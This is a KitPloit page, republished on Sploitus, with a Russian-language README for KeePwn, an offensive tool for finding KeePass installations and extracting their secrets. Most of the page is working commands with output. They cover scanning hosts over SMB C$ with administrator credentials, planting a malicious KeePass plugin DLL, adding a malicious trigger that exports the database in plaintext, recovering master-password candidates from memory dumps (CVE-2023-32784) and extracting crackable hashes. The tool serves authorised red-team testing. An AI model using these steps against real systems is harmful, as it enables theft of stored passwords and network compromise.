Sploitus

Exploit for KeePwn

kitploit · 2026-09-02

Exploit Code

MARKDOWN223 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ORANGE-CYBERDEFENSE-KEEPWN
![](https://assets.kitploit.com/production/public/readmes/5922/84bf2640633336b42f6faa85ac6804b7aad3d216f66f19d93d3310802a3c94b9.png)

Python-скрипт для помощи red team-специалистам в обнаружении экземпляров KeePass и извлечении секретов. 

## Возможности

  * Обнаружение KeePass 
    * Поиск установочных файлов KeePass через SMB C$ share.
    * Поддержка нескольких источников целей (IP, CIDR, имя хоста, файл).
    * Проверка метаданных KeePass (версия, время последнего доступа).
    * Проверка запущенного процесса KeePass через Impacket-based RPC.
    * Многопоточная реализация для обхода медленных хостов.
    * Экспорт результатов поиска в CSV.
    * Поиск баз данных KDBX.
  * Злоупотребление плагинами KeePass 
    * Добавление и удаление плагинов KeePass (см. KeeFarce Reborn) через SMB C$ share.
    * Получение экспортов в открытом виде на удалённом хосте.
  * Злоупотребление триггерами KeePass 
    * Добавление и удаление триггеров (см.: KeeThief) из конфигурационного файла KeePass через SMB C$ share.
    * Получение экспортов в открытом виде на удалённом хосте.
    * Настройка триггеров с помощью аргументов командной строки.
  * Разбор дампов KeePass 
    * Анализ дампов памяти для поиска кандидатов мастер-пароля (CVE-2023-32784).
    * Анализ дампов памяти для поиска ключа шифрования.
  * Взлом баз данных KeePass 
    * Преобразование KDBX в форматы, совместимые с John и Hashcat.
    * Добавление поддержки формата KDBX 4.x.
  * Аутентификация 
    * Поддержка аутентификации по LM/NT хешу.
    * Поддержка аутентификации Kerberos.
  * Разное 
    * Написание юнит-тестов.
    * Размещение проекта на PyPI.



## Установка

root@kitploit:~
    
    
    git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
    python3 -m pip install .
    KeePwn --help
    

Или, если вы не хотите устанавливать, а просто запустить в virtualenv:

root@kitploit:~
    
    
    git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
    python3 -m venv .venv
    source .venv/bin/activate
    python3 -m pip install -r requirements.txt
    python3 KeePwn.py --help
    

## Использование

**Обнаружение**

Модуль `search` в KeePwn используется для идентификации хостов, на которых работает KeePass в вашей целевой среде:

root@kitploit:~
    
    
    $ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
    
    [*] Starting remote KeePass search with 5 threads
    
    [PC01.COMPANY.LOCAL] No KeePass-related file found
    [PC02.COMPANY.LOCAL] No KeePass-related file found
    [PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
    [PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [PC04.COMPANY.LOCAL] No KeePass-related file found
    [PC05.COMPANY.LOCAL] No KeePass-related file found
    

Он использует встроенный в Active Directory ресурс C$ для поиска файлов, связанных с KeePass, в стандартных расположениях, поэтому требуются права администратора на целевых машинах.

Модуль сначала ищет конфигурационный файл _KeePass.config.xml_ в папке _%APPDATA%\KeePass_ каждого пользователя, а также _KeePass.exe_ в стандартном пути установки (_C:\Program Files\KeePass Password Safe 2_). Если конфигурационный файл найден, но KeePass не установлен глобально, KeePwn будет искать портативные установки во вложенных папках до `--max-depth` уровней.

Этой базовой техники поиска должно быть достаточно для точного определения, используется ли KeePass на рабочей станции. Кроме того, опция `--get-process` использует реализацию RPC от Impacket для определения, запущен ли KeePass в данный момент на цели.

Также доступны различные опции для удобства: экспорт результатов поиска в CSV-файл, отображение только целей, где найден KeePass, и настройка количества параллельных потоков:

**Злоупотребление плагинами**

KeePass поддерживает фреймворк плагинов, который можно использовать для загрузки вредоносных DLL в процесс KeePass, позволяя атакующим с правами администратора легко экспортировать базу данных (см.: KeeFarceRebornPlugin).

Модуль `plugin` в KeePwn позволяет:

  * Вывести список установленных плагинов и перечислить кеш плагинов

root@kitploit:~
        
        $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
        
        [*] No path specified, searching in default locations..
        [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
        [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
        

  * Добавлять и удалять ваши вредоносные плагины

root@kitploit:~
        
        $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
        
        [*] No path specified, searching in default locations..
        [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
        [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
        > y
        [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
        

  * Опрашивать %APPDATA% на предмет экспортов и автоматически перемещать их с удалённого хоста в локальную файловую систему


**Злоупотребление триггерами**

Как описано в блог-посте @harmj0y (а позже CVE-2023-24055), система триггеров KeePass может быть использована для экспорта базы данных в открытом виде.

Модуль `trigger` в KeePwn позволяет:

  * Проверить, записан ли вредоносный триггер с именем "export" в конфигурации KeePass

root@kitploit:~
        
        $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
        
        [*] No KeePass configuration path specified, searching in default locations..
        [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
        [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
        [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
        [+] No trigger found in KeePass configuration
        

Обратите внимание, что KeePwn предотвратит злоупотребление плагинами, если обнаруженная версия KeePass не подвержена этой технике.

  * Добавлять и удалять вредоносный триггер с именем "export", который выполняет экспорт базы данных в открытом виде в %APPDATA% при следующем запуске KeePass

root@kitploit:~
        
        ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
        
        [*] No KeePass configuration path specified, searching in default locations..
        [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
        [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
        [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
        [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
        


**Разбор дампов памяти**

Как описано @vdohney, можно извлечь мастер-пароль базы данных из памяти (CVE-2023-32784, затрагивает версии до KeePass 2.54).

Модуль `parse_dump` в KeePwn ищет потенциальные кандидаты мастер-пароля в дампах. Поскольку результирующие строки (по дизайну) будут неполными, модуль также можно использовать для подбора недостающего первого символа методом перебора относительно указанного файла KDBX.

root@kitploit:~
    
    
    $ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
    
    [*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
    [*] Found 15 candidates:
         _@$$w0rd!!
         _Ï$$w0rd!!
         _§$$w0rd!!
         _ñ$$w0rd!!
         _D$$w0rd!!
         _$$w0rd!!
         _\$$w0rd!!
         _#$$w0rd!!
         _y$$w0rd!!
         _k$$w0rd!!
         _9$$w0rd!!
         _;$$w0rd!!
         _H$$w0rd!!
         _>$$w0rd!!
         _a$$w0rd!!
    
    [*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
    [+] Database.kdbx successfully unlocked using master password P@$$w0rd!!
    

Разбор дампов памяти использует Python PoC от @CMEPW. Спасибо за разрешение повторно использовать код :)

**Взлом баз данных KDBX**

Скрипт keepass2john.py от @harmjoy был портирован в KeePwn с помощью @0xSp3ctra.

Модуль `convert` в KeePwn извлекает хеш, доступный для взлома (формат john или hashcat), из базы данных KeePass.

root@kitploit:~
    
    
    KeePwn convert -d ./Database.kdbx 
    
    [+] Happy cracking! (hashcat -m 13400)
    $keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17
    

Его можно использовать с дополнительными аргументами для указания ожидаемого типа хеша и пути выходного файла:

root@kitploit:~
    
    
    KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 
    
    [+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)
    

KDBX 4.x пока не поддерживается, вы можете использовать https://github.com/r3nt0n/keepass4brute. Если у вас есть желание сделать PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format будет хорошим чтением :)

## Внести вклад

Приветствуются pull request'ы (см.: неотмеченные пункты в разделе Возможности + некоторые TODO в коде).

Не стесняйтесь открывать issue или писать мне в Twitter для предложений по улучшению.